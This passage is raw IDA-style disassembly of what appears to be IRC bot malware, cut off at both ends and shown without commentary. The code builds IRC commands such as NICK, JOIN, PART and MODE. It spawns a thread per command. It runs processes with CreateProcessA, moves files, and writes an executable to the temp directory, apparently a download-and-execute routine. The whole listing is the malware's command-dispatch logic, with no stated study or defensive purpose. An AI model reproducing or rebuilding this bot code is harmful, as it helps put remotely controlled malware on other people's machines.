[ebp+var_10] push eax lea eax, [ebp+var_2900] push ebx push eax push offset sub_4167A0 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_267C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407CA1 loc_407C8B: ; CODE XREF: sub_401ACD+61D2j cmp [ebp+var_265C], ebx jnz loc_407196 push 32h call ds:dword_427080 ; Sleep jmp short loc_407C8B ; --------------------------------------------------------------------------- loc_407CA1: ; CODE XREF: sub_401ACD+61BCj call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42A824 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407CB2: ; CODE XREF: sub_401ACD+4D1Fj ; sub_401ACD+4D36j push 7Fh lea eax, [ebp+var_3494] pop esi push esi ; Count push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3414] push [ebp+arg_18] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3394] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3314] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_3290], eax push [ebp+Src] mov eax, [ebp+var_8] mov [ebp+var_328C], eax lea eax, [ebp+Dst] push [ebp+arg_18] mov [ebp+var_3498], esi push edi push offset asc_42A7E8 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 12h ; int push eax ; Source call sub_40B3BA add esp, 20h mov [ebp+var_3294], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3498] push ebx push eax push offset sub_41561D push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_3294] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407D89 loc_407D73: ; CODE XREF: sub_401ACD+62BAj cmp [ebp+var_3288], ebx jnz loc_407196 push 32h call ds:dword_427080 ; Sleep jmp short loc_407D73 ; --------------------------------------------------------------------------- loc_407D89: ; CODE XREF: sub_401ACD+62A4j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42A7B0 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407D9A: ; CODE XREF: sub_401ACD+4BF2j ; sub_401ACD+4C09j push 7Fh lea eax, [ebp+var_306C] pop esi push esi ; Count push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_2FEC] push [ebp+arg_18] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_2F6C] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_2EEC] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E68], eax push [ebp+Src] mov eax, [ebp+var_8] mov [ebp+var_2E64], eax lea eax, [ebp+Dst] push [ebp+arg_18] mov [ebp+var_3070], esi push edi push offset asc_42A780 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Eh ; int push eax ; Source call sub_40B3BA add esp, 20h mov [ebp+var_2E6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3070] push ebx push eax push offset sub_414358 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_2E6C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407E71 loc_407E5B: ; CODE XREF: sub_401ACD+63A2j cmp [ebp+var_2E60], ebx jnz loc_407196 push 32h call ds:dword_427080 ; Sleep jmp short loc_407E5B ; --------------------------------------------------------------------------- loc_407E71: ; CODE XREF: sub_401ACD+638Cj call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42A748 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407E82: ; CODE XREF: sub_401ACD+4AC9j ; sub_401ACD+4AE0j ... push 7Fh lea eax, [ebp+var_3CE8] pop esi push esi ; Count push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3C68] push [ebp+arg_18] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3BE8] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3B68] push [ebp+Format] ; Source push eax ; Dest call _strncpy push 20h ; Count lea eax, [ebp+var_3AE8] push [ebp+arg_8] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A68], eax push [ebp+Src] mov eax, [ebp+var_8] mov [ebp+var_3A64], eax lea eax, [ebp+Dst] push [ebp+arg_18] mov [ebp+var_3CF0], esi push edi push offset asc_42A718 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Dh ; int push eax ; Source call sub_40B3BA add esp, 20h mov [ebp+var_3CEC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CF0] push ebx push eax push offset sub_4135DF push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_3CEC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407F6A loc_407F54: ; CODE XREF: sub_401ACD+649Bj cmp [ebp+var_3A60], ebx jnz loc_407196 push 32h call ds:dword_427080 ; Sleep jmp short loc_407F54 ; --------------------------------------------------------------------------- loc_407F6A: ; CODE XREF: sub_401ACD+6485j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42A6E0 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407F7B: ; CODE XREF: sub_401ACD+4A9Bj ; sub_401ACD+4AB2j push 7Fh ; Count lea eax, [ebp+var_177C] push edi ; Source push eax ; Dest call _strncpy push [ebp+arg_18] ; Str call _atoi push 3Fh ; Count mov [ebp+var_162C], eax push [ebp+Src] ; Source lea eax, [ebp+var_16FC] push eax ; Dest call _strncpy mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_407FC6 push 3Fh ; Count lea eax, [ebp+var_16BC] push esi ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_407FC6: ; CODE XREF: sub_401ACD+64E5j lea eax, [ebp+var_16FC] mov [ebp+var_1628], 1 push eax lea eax, [ebp+var_177C] push [ebp+var_162C] push eax lea eax, [ebp+Dst] push offset asc_42A6B0 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Fh ; int push eax ; Source call sub_40B3BA add esp, 20h mov [ebp+var_1624], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1780] push ebx push eax push offset sub_4017ED push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_1624] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408052 loc_40803C: ; CODE XREF: sub_401ACD+6583j cmp [ebp+var_1620], ebx jnz loc_406BFE push 32h call ds:dword_427080 ; Sleep jmp short loc_40803C ; --------------------------------------------------------------------------- loc_408052: ; CODE XREF: sub_401ACD+656Dj call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset dword_42A674 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408063: ; CODE XREF: sub_401ACD+4A5Bj ; sub_401ACD+4A72j push [ebp+arg_18] ; Str call _atoi cmp eax, ebx pop ecx mov [ebp+var_1D68], eax jle loc_408156 mov esi, 80h push edi ; Format lea eax, [ebp+var_1EF0] push esi ; Count push eax ; Dest call __snprintf add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+Format] ; Format setnz al mov [ebp+var_1D64], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF4], eax lea eax, [ebp+var_1DF0] push esi ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D60], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_1D5C], eax lea eax, [ebp+Dst] push edi push offset asc_42A648 ; "-" push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 15h ; int push eax ; Source call sub_40B3BA add esp, 20h mov [ebp+var_1D70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF4] push ebx push eax push offset sub_413A29 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_1D70] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408145 loc_408133: ; CODE XREF: sub_401ACD+6676j cmp [ebp+var_1D58], ebx jnz short loc_4081AD push 32h call ds:dword_427080 ; Sleep jmp short loc_408133 ; --------------------------------------------------------------------------- loc_408145: ; CODE XREF: sub_401ACD+6664j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42A610 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_408156: ; CODE XREF: sub_401ACD+65A7j push offset unk_42A5D8 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408160: ; CODE XREF: sub_401ACD+4A2Dj ; sub_401ACD+4A44j push [ebp+arg_18] push edi call ds:dword_4270BC ; MoveFileA test eax, eax jz short loc_40818D push [ebp+arg_18] lea eax, [ebp+Dst] push edi push offset asc_42A5B4 ; "-" push 200h ; Count push eax ; Dest call __snprintf add esp, 14h jmp short loc_4081AD ; --------------------------------------------------------------------------- loc_40818D: ; CODE XREF: sub_401ACD+669Fj push offset dword_42A5A8 call sub_418699 pop ecx push eax ; Format lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf loc_4081AA: ; CODE XREF: sub_401ACD+548Dj ; sub_401ACD+73C5j add esp, 0Ch loc_4081AD: ; CODE XREF: sub_401ACD+20DCj ; sub_401ACD+2E89j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int loc_4081CA: ; CODE XREF: sub_401ACD+56E4j call sub_409869 add esp, 14h jmp loc_4082DE ; --------------------------------------------------------------------------- loc_4081D7: ; CODE XREF: sub_401ACD+49FFj ; sub_401ACD+4A16j push edi ; Format lea eax, [ebp+var_3F08] push 104h ; Count push eax ; Dest call __snprintf add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_408211 push [ebp+arg_18] ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_408211 push eax ; Format lea eax, [ebp+var_3E04] push eax ; Dest call _sprintf pop ecx pop ecx loc_408211: ; CODE XREF: sub_401ACD+6722j ; sub_401ACD+6733j push [ebp+Format] ; Format lea eax, [ebp+var_3F88] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F8C], eax mov eax, [ebp+var_4] mov [ebp+var_3CFC], eax mov eax, [ebp+var_8] mov [ebp+var_3CF8], eax lea eax, [ebp+var_3E04] push eax lea eax, [ebp+var_3F08] push eax push offset asc_42A578 ; "-" lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 24h ; int push eax ; Source call sub_40B3BA add esp, 20h mov [ebp+var_3D00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F8C] push ebx push eax push offset sub_417054 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_3D00] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4082C3 loc_4082B1: ; CODE XREF: sub_401ACD+67F4j cmp [ebp+var_3CF4], ebx jnz short loc_4082DE push 32h call ds:dword_427080 ; Sleep jmp short loc_4082B1 ; --------------------------------------------------------------------------- loc_4082C3: ; CODE XREF: sub_401ACD+67E2j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset asc_42A53C ; "-" loc_4082CF: ; CODE XREF: sub_401ACD+909j ; sub_401ACD+A47j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_4082DE: ; CODE XREF: sub_401ACD+7C5j ; sub_401ACD+930j ... push 1 pop esi jmp loc_406C22 ; --------------------------------------------------------------------------- loc_4082E6: ; CODE XREF: sub_401ACD+49D1j ; sub_401ACD+49E8j push 44h lea eax, [ebp+var_668] pop esi push esi ; Size push ebx ; Val push eax ; Dst call _memset push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push edi ; Str mov [ebp+var_63C], esi call _atoi add esp, 10h cmp eax, esi jnz short loc_408323 mov [ebp+var_638], 5 loc_408323: ; CODE XREF: sub_401ACD+684Bj cmp [ebp+var_C], ebx jz loc_406BFE push [ebp+arg_18] ; SubStr push [ebp+var_C] ; Str call _strstr mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406BFE lea eax, [ebp+var_E34] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call ds:dword_427074 ; CreateProcessA test eax, eax jnz short loc_40836E push offset unk_42A518 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40836E: ; CODE XREF: sub_401ACD+6895j push edi push offset dword_42A4FC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408379: ; CODE XREF: sub_401ACD+49A3j ; sub_401ACD+49BAj push [ebp+arg_18] ; Str2 push offset aSbrti ; "sbrti" call _strcmp pop ecx test eax, eax pop ecx jz loc_4084F0 lea eax, [ebp+var_4BF8] push eax push 104h call ds:dword_4270B8 ; GetTempPathA push 0FFh ; Count lea eax, [ebp+var_25D4] push edi ; Source push eax ; Dest call _strncpy lea eax, [ebp+var_17D4] push eax call sub_40AB77 add esp, 10h push eax lea eax, [ebp+var_4BF8] push eax lea eax, [ebp+var_24D4] push offset aSS_exe ; "%s%s.exe" push eax ; Dest call _sprintf mov eax, [ebp+esi+Str2] add esp, 10h cmp eax, ebx mov [ebp+var_23D0], 1 mov [ebp+var_23CC], ebx jz short loc_40840E push 10h ; Radix push ebx ; EndPtr push eax ; Str call _strtoul add esp, 0Ch mov [ebp+var_23C4], eax jmp short loc_408414 ; --------------------------------------------------------------------------- loc_40840E: ; CODE XREF: sub_401ACD+692Bj mov [ebp+var_23C4], ebx loc_408414: ; CODE XREF: sub_401ACD+693Fj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_40842B push esi ; Str call _atoi pop ecx mov [ebp+var_23C8], eax jmp short loc_408431 ; --------------------------------------------------------------------------- loc_40842B: ; CODE XREF: sub_401ACD+694Dj mov [ebp+var_23C8], ebx loc_408431: ; CODE XREF: sub_401ACD+695Cj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_23C0], eax lea eax, [ebp+var_2654] mov [ebp+var_2658], esi push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B8], eax mov eax, [ebp+var_8] mov [ebp+var_23BC], eax push edi lea eax, [ebp+Dst] push offset asc_42A4C4 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push 1Eh ; int push eax ; Source call sub_40B3BA add esp, 18h mov [ebp+var_23D4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2658] push ebx push eax push offset sub_4167A0 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_23D4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4084DF loc_4084C9: ; CODE XREF: sub_401ACD+6A10j cmp [ebp+var_23B4], ebx jnz loc_406BFE push 32h call ds:dword_427080 ; Sleep jmp short loc_4084C9 ; --------------------------------------------------------------------------- loc_4084DF: ; CODE XREF: sub_401ACD+69FAj call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset dword_42A488 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_4084F0: ; CODE XREF: sub_401ACD+68BDj push offset asc_42A440 ; "-" loc_4084F5: ; CODE XREF: sub_401ACD+2E30j ; sub_401ACD+447Dj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_406BFE ; --------------------------------------------------------------------------- loc_408508: ; CODE XREF: sub_401ACD+4975j ; sub_401ACD+498Cj push dword ptr [ebp+Args] ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz loc_401F75 cmp [ebp+var_C], ebx jz loc_401F75 push [ebp+arg_18] ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx pop ecx push eax lea eax, [ebp+Dst] push [ebp+Format] push dword ptr [ebp+Args] push [ebp+var_90] push offset aSSSS ; "%s %s %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push 1FFh ; Count push eax ; Source push [ebp+Src] ; Dest call _strncpy push edi ; Str call _atoi add esp, 28h test eax, eax jle short loc_408591 push edi ; Str call _atoi imul eax, 3E8h pop ecx push eax call ds:dword_427080 ; Sleep loc_408591: ; CODE XREF: sub_401ACD+6AAEj push offset dword_42A41C call sub_415D38 mov eax, [ebp+File] pop ecx inc eax jmp loc_401F78 ; --------------------------------------------------------------------------- loc_4085A5: ; CODE XREF: sub_401ACD+4947j ; sub_401ACD+495Ej push dword ptr [ebp+Args] ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz loc_401F75 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax ; Str1 call _strcmp add esp, 10h test eax, eax push esi jz short loc_408664 push [ebp+Format] lea eax, [ebp+Dst] push dword ptr [ebp+Args] push [ebp+var_90] push offset aSSSS ; "%s %s %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push 1FFh ; Count push eax ; Source push [ebp+Src] ; Dest call _strncpy add esp, 24h lea eax, [ebp+Dst] push esi push offset unk_42A404 ; Format push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax call sub_415D38 push edi ; Str call _atoi add esp, 14h test eax, eax jle loc_409644 push edi ; Str call _atoi add eax, [ebp+File] pop ecx jmp loc_401F78 ; --------------------------------------------------------------------------- loc_408664: ; CODE XREF: sub_401ACD+6B1Dj lea eax, [ebp+Dst] push offset unk_42A3D0 ; Format push eax ; Dest call _sprintf add esp, 0Ch loc_408678: ; CODE XREF: sub_401ACD+74E3j cmp [ebp+var_8], ebx jnz short loc_408699 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 14h loc_408699: ; CODE XREF: sub_401ACD+6BAEj ; sub_401ACD+71C7j ... lea eax, [ebp+Dst] push eax call sub_415D38 jmp loc_409643 ; --------------------------------------------------------------------------- loc_4086AA: ; CODE XREF: sub_401ACD+4919j ; sub_401ACD+4930j push 7Fh ; Count lea eax, [ebp+var_2218] push edi ; Source push eax ; Dest call _strncpy push 7Fh ; Count lea eax, [ebp+var_2198] push [ebp+arg_18] ; Source push eax ; Dest call _strncpy push 7Fh ; Count lea eax, [ebp+var_2118] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] mov esi, [ebp+arg_4] add esp, 24h mov [ebp+var_2094], eax mov eax, [ebp+var_8] mov [ebp+var_221C], esi push [ebp+arg_18] mov [ebp+var_2090], eax lea eax, [ebp+Dst] push edi push offset asc_42A39C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Fh ; int push eax ; Source call sub_40B3BA add esp, 1Ch mov [ebp+var_2098], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_221C] push ebx push eax push offset sub_414F57 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_2098] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40876E loc_408758: ; CODE XREF: sub_401ACD+6C9Fj cmp [ebp+var_208C], ebx jnz loc_40885A push 32h call ds:dword_427080 ; Sleep jmp short loc_408758 ; --------------------------------------------------------------------------- loc_40876E: ; CODE XREF: sub_401ACD+6C89j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42A360 jmp loc_40884B ; --------------------------------------------------------------------------- loc_40877F: ; CODE XREF: sub_401ACD+48EBj ; sub_401ACD+4902j push 7Fh ; Count lea eax, [ebp+var_23AC] push edi ; Source push eax ; Dest call _strncpy push 7Fh ; Count lea eax, [ebp+var_232C] push [ebp+arg_18] ; Source push eax ; Dest call _strncpy push 7Fh ; Count lea eax, [ebp+var_22AC] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] mov esi, [ebp+arg_4] add esp, 24h mov [ebp+var_2228], eax mov eax, [ebp+var_8] mov [ebp+var_23B0], esi push [ebp+arg_18] mov [ebp+var_2224], eax lea eax, [ebp+Dst] push edi push offset asc_42A334 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 11h ; int push eax ; Source call sub_40B3BA add esp, 1Ch mov [ebp+var_222C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23B0] push ebx push eax push offset sub_414703 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_222C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40883F loc_40882D: ; CODE XREF: sub_401ACD+6D70j cmp [ebp+var_2220], ebx jnz short loc_40885A push 32h call ds:dword_427080 ; Sleep jmp short loc_40882D ; --------------------------------------------------------------------------- loc_40883F: ; CODE XREF: sub_401ACD+6D5Ej call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset asc_42A2F8 ; "-" loc_40884B: ; CODE XREF: sub_401ACD+6CADj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_40885A: ; CODE XREF: sub_401ACD+6C91j ; sub_401ACD+6D66j cmp [ebp+var_8], ebx jnz loc_403FBE push ebx lea eax, [ebp+Dst] push [ebp+var_4] push eax push [ebp+Format] push esi jmp loc_403FB6 ; --------------------------------------------------------------------------- loc_40887A: ; CODE XREF: sub_401ACD+48BDj ; sub_401ACD+48D4j push [ebp+arg_18] lea eax, [ebp+Dst] push offset aPartS_0 ; "PART %s" push eax ; Dest call _sprintf push edi ; Str call _atoi add esp, 10h loc_408897: ; CODE XREF: sub_401ACD+6E31j test eax, eax jle loc_409644 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409644 loc_4088B1: ; CODE XREF: sub_401ACD+789Bj lea eax, [ebp+Dst] push eax ; Args push offset aS ; "%s\r\n" push edi ; Str call _atoi imul eax, 234h pop ecx push dword_43E91C[eax] ; int call sub_409823 jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_4088DA: ; CODE XREF: sub_401ACD+488Fj ; sub_401ACD+48A6j push [ebp+esi+Str2] lea eax, [ebp+Dst] push [ebp+arg_18] push offset aJoinSS_0 ; "JOIN %s %s" push eax ; Dest call _sprintf push edi ; Str call _atoi add esp, 14h jmp short loc_408897 ; --------------------------------------------------------------------------- loc_408900: ; CODE XREF: sub_401ACD+4861j ; sub_401ACD+4878j push [ebp+arg_18] lea eax, [ebp+Dst] push offset aNickS_0 ; "NICK %s" push eax ; Dest call _sprintf push edi ; Str call _atoi add esp, 10h test eax, eax jle loc_409644 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409644 lea eax, [ebp+Dst] push eax ; Args push offset aS ; "%s\r\n" push edi ; Str call _atoi imul eax, 234h pop ecx push dword_43E91C[eax] ; int call sub_409823 add esp, 0Ch push [ebp+arg_18] push edi ; Args push offset dword_42A2C0 ; Format loc_408967: ; CODE XREF: sub_401ACD+6F24j ; sub_401ACD+6F92j ... call sub_415DAC jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_408971: ; CODE XREF: sub_401ACD+4833j ; sub_401ACD+484Aj cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4089A2 push esi lea eax, [ebp+Dst] push offset aModeS ; "MODE %s" push eax ; Dest call _sprintf add esp, 0Ch loc_4089A2: ; CODE XREF: sub_401ACD+6EBEj push edi ; Str call _atoi test eax, eax pop ecx jle loc_409644 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409644 lea eax, [ebp+Dst] push eax ; Args push offset aS ; "%s\r\n" push edi ; Str call _atoi imul eax, 234h pop ecx push dword_43E91C[eax] ; int call sub_409823 add esp, 0Ch push esi push edi push offset dword_42A29C jmp loc_408967 ; --------------------------------------------------------------------------- loc_4089F6: ; CODE XREF: sub_401ACD+4805j ; sub_401ACD+481Cj cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push edi ; Str call _atoi test eax, eax pop ecx jle loc_409644 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409644 push esi ; Args push offset aS ; "%s\r\n" push edi ; Str call _atoi imul eax, 234h pop ecx push dword_43E91C[eax] ; int call sub_409823 add esp, 0Ch push esi push edi push offset dword_42A280 jmp loc_408967 ; --------------------------------------------------------------------------- loc_408A64: ; CODE XREF: sub_401ACD+47D7j ; sub_401ACD+47EEj cmp [ebp+var_C], ebx jz loc_409644 push edi ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push esi ; Args push offset aModeS_0 ; "MODE %s\r\n" push [ebp+arg_4] ; int call sub_409823 add esp, 0Ch push esi push offset unk_42A258 jmp loc_40963D ; --------------------------------------------------------------------------- loc_408A9E: ; CODE XREF: sub_401ACD+47A9j ; sub_401ACD+47C0j push dword ptr [ebp+Args] ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz loc_401F75 push [ebp+arg_18] ; Args push offset aPartS_1 ; "PART %s\r\n" push [ebp+arg_4] ; int call sub_409823 push edi ; Str call _atoi imul eax, 3E8h add esp, 10h push eax call ds:dword_427080 ; Sleep push [ebp+esi+Str2] push [ebp+arg_18] ; Args push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_409823 push offset dword_42A238 call sub_415D38 jmp loc_4034BF ; --------------------------------------------------------------------------- loc_408B04: ; CODE XREF: sub_401ACD+477Bj ; sub_401ACD+4792j cmp [ebp+var_C], ebx jz loc_409644 push edi ; Str call _strlen push [ebp+arg_8] ; Str mov esi, eax call _strlen add eax, [ebp+var_C] push [ebp+arg_18] ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr mov esi, eax add esp, 10h cmp esi, ebx jz loc_409644 push esi lea eax, [ebp+Dst] push offset dword_42A968 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push ebx ; int push eax ; int push edi ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 20h push esi push edi push offset unk_42A21C jmp loc_408967 ; --------------------------------------------------------------------------- loc_408B6D: ; CODE XREF: sub_401ACD+474Dj ; sub_401ACD+4764j cmp [ebp+var_C], ebx jz loc_409644 push edi ; Str call _strlen push [ebp+arg_8] ; Str mov esi, eax call _strlen add eax, [ebp+var_C] push [ebp+arg_18] ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr mov esi, eax add esp, 10h cmp esi, ebx jz loc_409644 push ebx ; int push ebx ; int push esi ; int push edi ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 14h push esi push edi push offset unk_42A200 jmp loc_408967 ; --------------------------------------------------------------------------- loc_408BBE: ; CODE XREF: sub_401ACD+471Fj ; sub_401ACD+4736j cmp [ebp+var_C], ebx jz loc_401F75 push [ebp+arg_18] ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz loc_401F75 push eax ; int push edi ; Str2 call sub_415C40 pop ecx pop ecx push edi push offset unk_42A1E4 jmp loc_40723F ; --------------------------------------------------------------------------- loc_408BF0: ; CODE XREF: sub_401ACD+46F1j ; sub_401ACD+4708j push [ebp+arg_18] ; int push edi ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_418A2E loc_408C05: ; CODE XREF: sub_401ACD+25ECj add esp, 14h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_408C0D: ; CODE XREF: sub_401ACD+46B1j ; sub_401ACD+46C8j push edi ; SubStr push [ebp+arg_1C] ; Str call _strstr pop ecx test eax, eax pop ecx jz loc_409644 mov esi, [ebp+esi+Format] cmp esi, ebx jz loc_408CB1 push esi ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408C99 push esi lea eax, [ebp+Dst] push [ebp+Format] push dword ptr [ebp+Args] push [ebp+var_90] push offset aSSSS ; "%s %s %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push 1FFh ; Count push eax ; Source push [ebp+Src] ; Dest call _strncpy add esp, 24h lea eax, [ebp+Dst] push esi push edi push offset unk_42A1C0 ; Format push eax ; Dest call _sprintf add esp, 10h inc [ebp+File] jmp loc_408699 ; --------------------------------------------------------------------------- loc_408C99: ; CODE XREF: sub_401ACD+7171j lea eax, [ebp+Dst] push offset unk_42A190 ; Format push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_408699 ; --------------------------------------------------------------------------- loc_408CB1: ; CODE XREF: sub_401ACD+715Cj push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B243 add esp, 0Ch push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 14h lea eax, [ebp+Dst] push edi push offset unk_42A178 ; Format push 200h ; Count push eax ; Dest call __snprintf add esp, 10h jmp loc_408699 ; --------------------------------------------------------------------------- loc_408CFB: ; CODE XREF: 